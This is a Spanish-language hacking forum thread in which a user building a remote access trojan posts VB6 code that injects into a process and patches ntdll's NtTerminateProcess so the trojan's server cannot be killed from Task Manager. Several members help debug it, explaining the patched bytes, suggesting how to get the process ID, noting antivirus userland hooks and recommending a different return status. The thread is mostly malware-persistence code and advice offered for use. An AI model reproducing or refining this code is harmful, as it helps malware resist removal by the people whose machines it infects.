comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

NtTerminateProcess Hook

  • 9 Respuestas
  • 4577 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado kayser

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Septiembre 23, 2013, 10:37:23 am »
Hola gente, he estado investigando ultimamente un poco sobre metodos de como proteger la ejecucion del servidor de mi RAT y al final me he decidido a hacer un hook a la API NtTerminateProcess para evitar que la ejecucion del servidor pueda ser interrumpida desde el administrador de tareas. Se que hay maneras mucho mejores de hacer lo que quiero pero queria algo no muy complicado para una primera version del RAT y con protegerlo del usuario medio que intentara pararlo desde el administrador de tareas me basta. He estado intentando hacerlo yo solo pero solo conseguia que el programa crasheara asi que me he puesto a buscar por la red si alguien habia hecho esto mismo en VB6. Al final he encontrado este codigo:

Código: Visual Basic
  1.     Option Explicit
  2.      
  3.     Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  4.     Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  5.     Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long)
  6.     Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  7.     Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  8.     Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  9.     Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  10.     Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  11.     Private Declare Function EnumProcessModules Lib "psapi" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByVal lpcbNeeded As Long) As Long
  12.     Private Declare Function GetModuleFileNameEx Lib "psapi" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  13.      
  14.     Private Const MEM_RELEASE = &H8000
  15.     Private Const MEM_COMMIT = &H1000
  16.     Private Const MEM_RESERVE = &H2000
  17.     Private Const PAGE_EXECUTE_READWRITE = &H40
  18.     Private Const PROCESS_ALL_ACCESS = &H1F0FFF
  19.      
  20.     Private hProcess As Long
  21.     Private FuncAddr As Long
  22.     Private OldCode(4) As Byte
  23.     Private NewCode(4) As Byte
  24.     Private HookCode(4) As Byte
  25.     Private CodeAddr As Long
  26.      
  27.     Private Function GetModuleHandleEx(ByVal hProcess As Long, ByVal ModuleName As String) As Long
  28.     Dim hMods(1024) As Long
  29.     Dim cbNeeded As Long
  30.     Dim szModName As String
  31.     Dim i As Integer
  32.      
  33.     If EnumProcessModules(hProcess, hMods(0), 1025 * 4, VarPtr(cbNeeded)) Then
  34.         For i = 0 To (cbNeeded / 4)
  35.             If hMods(i) Then
  36.                 szModName = String(260, 0)
  37.                 If GetModuleFileNameEx(hProcess, hMods(i), szModName, Len(szModName)) Then
  38.                     szModName = Left(szModName, InStr(1, szModName, Chr(0)) - 1)
  39.                     If LCase(szModName) = LCase(ModuleName) Then '
  40.                        GetModuleHandleEx = hMods(i)
  41.                         Erase hMods
  42.                         Exit Function
  43.                     End If
  44.                 End If
  45.             End If
  46.         Next i
  47.     End If
  48.     Erase hMods
  49.     End Function
  50.      
  51.     Public Function HookNtTerminateProcess(ByVal ProcessId As Long) As Boolean
  52.     Dim hMod As Long
  53.      
  54.     NewCode(0) = &HE9 ' jmp
  55.    ' xor eax,eax
  56.    ' ret 8
  57.    HookCode(0) = &H33
  58.     HookCode(1) = &HC0
  59.     HookCode(2) = &HC2
  60.     HookCode(3) = &H8
  61.     HookCode(4) = &H0
  62.      
  63.     hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId)
  64.      
  65.     If hProcess Then
  66.         hMod = GetModuleHandleEx(hProcess, "c:\windows\system32\ntdll.dll")
  67.         If hMod Then
  68.             FuncAddr = GetProcAddress(hMod, "NtTerminateProcess")
  69.             If FuncAddr Then
  70.                 ReadProcessMemory hProcess, ByVal FuncAddr, OldCode(0), 5, 0
  71.                 CodeAddr = VirtualAllocEx(hProcess, ByVal 0, 5, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  72.                 If CodeAddr Then
  73.                     CopyMemory VarPtr(NewCode(1)), VarPtr(CodeAddr - FuncAddr - 5), 4
  74.                     WriteProcessMemory hProcess, ByVal CodeAddr, HookCode(0), 5, 0
  75.                     WriteProcessMemory hProcess, ByVal FuncAddr, NewCode(0), 5, 0
  76.                     HookNtTerminateProcess = True
  77.                 End If
  78.             End If
  79.         End If
  80.     End If
  81.     End Function
  82.      
  83.     Public Sub UnhookNtTerminateProcess()
  84.     WriteProcessMemory hProcess, ByVal FuncAddr, OldCode(0), 5, 0
  85.     VirtualFreeEx hProcess, ByVal CodeAddr, 5, MEM_RELEASE
  86.     CloseHandle hProcess
  87.     End Sub

El caso es que no consigo comprender el codigo al 100% y este no funciona de ninguna manera...

Alguien me echa una mano a comprenderlo y ver porque no funciona?

Un saludo  ;)

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #1 en: Septiembre 23, 2013, 11:30:20 am »
Básicamente pisa los primeros bytes de la API y en su lugar pone las siguientes instrucciones:

Código: ASM
  1.   xor eax,eax
  2.    ret 8

Osea retorna la funcion restaurando la pila.

un saludo.


Desconectado kayser

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Septiembre 23, 2013, 12:22:30 pm »
Gracias por leerme y responder mDrinky!
Sabes porque no funciona?

Un saludo :)

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #3 en: Septiembre 23, 2013, 12:52:35 pm »
Le pasas el ID correcto del proceso?

Desconectado kayser

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Septiembre 23, 2013, 01:23:51 pm »
Estuve leyendo como obtener el ID del proceso en la MSDN y encontre un par de funciones que una devolvia el handle y otra devolvia el ID en base al handle. Ahora no recuerdo cuales eran... Es posible que el fallo estuviera en como implemente esas dos funciones... La idea es obtener el ID del proceso del servidor que es donde se encontrara este code y sera el proceso que pretendo proteger. Tu como lo implementarias? Puedes poner un ejemplo o orientarme un poco?

Un saludo  :)

Edito: Tambien probe con esta funcion GetCurrentProcessId pero no me funciona...
« Última modificación: Septiembre 23, 2013, 01:26:29 pm por kayser »

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #5 en: Septiembre 23, 2013, 01:50:52 pm »
Suponiendo que el código que as cogido no tengo ningun fallo lo unico que tendrías que hacer es utilizar esta API:

You are not allowed to view links. Register or Login

Que te retornara el ID de tu proceso y llamar a la funcion con ese ID.

un saludo.

EDITO:

Viendo lo que tu poner ahí me imagino que entonces el problema esta en el código que as cogido que no funiona o no funciona en la version que estas probando...

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #6 en: Septiembre 24, 2013, 04:34:48 am »
A mí me funciona perfectamente.

Comprueba que tu antivirus no esté deshaciendo el hook para meter el suyo. Algunos AVs como Avast tienen hooks en userland, interceptando las llamadas al sistema.

Para comprobar que te hookea correctamente abre un proceso en el OllyDbg luego desde el código hookeas. Te vas al OllyDbg y actualizas la memoria.

Saludos
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Desconectado kayser

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Septiembre 24, 2013, 10:19:21 am »
Me han dicho en otro foro que debo hookear todos los procesos del sistema para que funcione asi que me puse a programar un codigo que obtuviese los PID de todos los procesos y programe un bucle que los fuera hookeando uno por uno pero lo unico que he logrado es que se congele el ordenador y todos los procesos que descargan de memoria den una excepcion... Como lo has utilizado? Yo en principio obtuve el PID del servidor con la API GetCurrentProcessId y no me funciono y es que podia hacer un kill del server desde el administrador de tareas. A ver si aclaras como lo has logrado hacer funcionar.

Un saludo capo y gracias por leerme  :)

Edito: O bien no funciona o me muestra esta excepción:

« Última modificación: Septiembre 24, 2013, 10:41:06 am por kayser »

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #8 en: Septiembre 29, 2013, 03:32:06 pm »
A mí me hookea a la perfección. Para comprobar si hookea aplica el hook y haz attach a el proceso desde el Olly.

Igualmente deberías devolver STATUS_ACCESS_DENIED en lugar de STATUS_SUCCESS...
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Desconectado kayser

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Septiembre 30, 2013, 10:06:31 am »
Nada no hay manera bajo Windows 7 no funciona y bajo Windows XP crashea... :(

 

¿Te gustó el post? COMPARTILO!